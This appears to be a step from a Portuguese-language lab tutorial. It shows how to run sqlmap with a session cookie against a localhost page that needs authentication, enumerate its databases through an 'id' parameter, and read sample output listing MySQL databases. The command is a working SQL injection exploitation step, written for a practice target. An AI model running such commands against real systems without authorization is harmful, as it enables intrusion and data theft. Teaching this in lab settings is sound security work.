Executar uma Análise Contra uma Página que Requer Autenticação
Nesta etapa, iremos refinar o nosso comando sqlmap para ter como alvo específico uma página que se sabe requerer autenticação e que pode ser vulnerável. Utilizaremos uma saída ligeiramente mais detalhada para observar o comportamento do sqlmap.
Assumiremos que a authenticated_page.php é de facto vulnerável a injeção de SQL através do parâmetro id. Utilizaremos a flag --dbs para tentar enumerar bases de dados, que é um primeiro passo comum na exploração de injeção de SQL.
Novamente, substitua YOUR_COOKIE_STRING pelo seu cookie de sessão real.
sqlmap -u "http://localhost:8080/authenticated_page.php?id=1" --cookie="YOUR_COOKIE_STRING" --dbs --batch --forms --level=1 --risk=1
A flag --dbs tenta enumerar os nomes das bases de dados. Se o sqlmap utilizar o cookie com sucesso, deverá ser capaz de aceder à página e prosseguir com a enumeração da base de dados.
Observe a saída. Se o sqlmap reportar a descoberta de bases de dados (por exemplo, information_schema, mysql, testdb), confirma que a análise autenticada foi bem-sucedida. Se reportar "no injectable parameters found" (nenhum parâmetro injetável encontrado) ou "page not accessible" (página não acessível), pode indicar um problema com o cookie ou com o URL alvo.
_
___ ___ ___ ___
|_ -| . | . | . |
|___|_ |_ |___|
|_|___|
sqlmap/1.6.12#stable (identifying back-end DBMS)
... (initial checks) ...
[00:00:XX] [INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.x, Apache 2.4.x
back-end DBMS: MySQL >= 5.0.0
[00:00:XX] [INFO] fetching database names
[00:00:XX] [INFO] retrieved database names: ['information_schema', 'mysql', 'performance_schema', 'sys', 'testdb']
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] testdb
[00:00:XX] [INFO] closing @00:00:XX
A presença de nomes de bases de dados na saída confirma que o sqlmap conseguiu aceder à página autenticada e realizar o teste de injeção.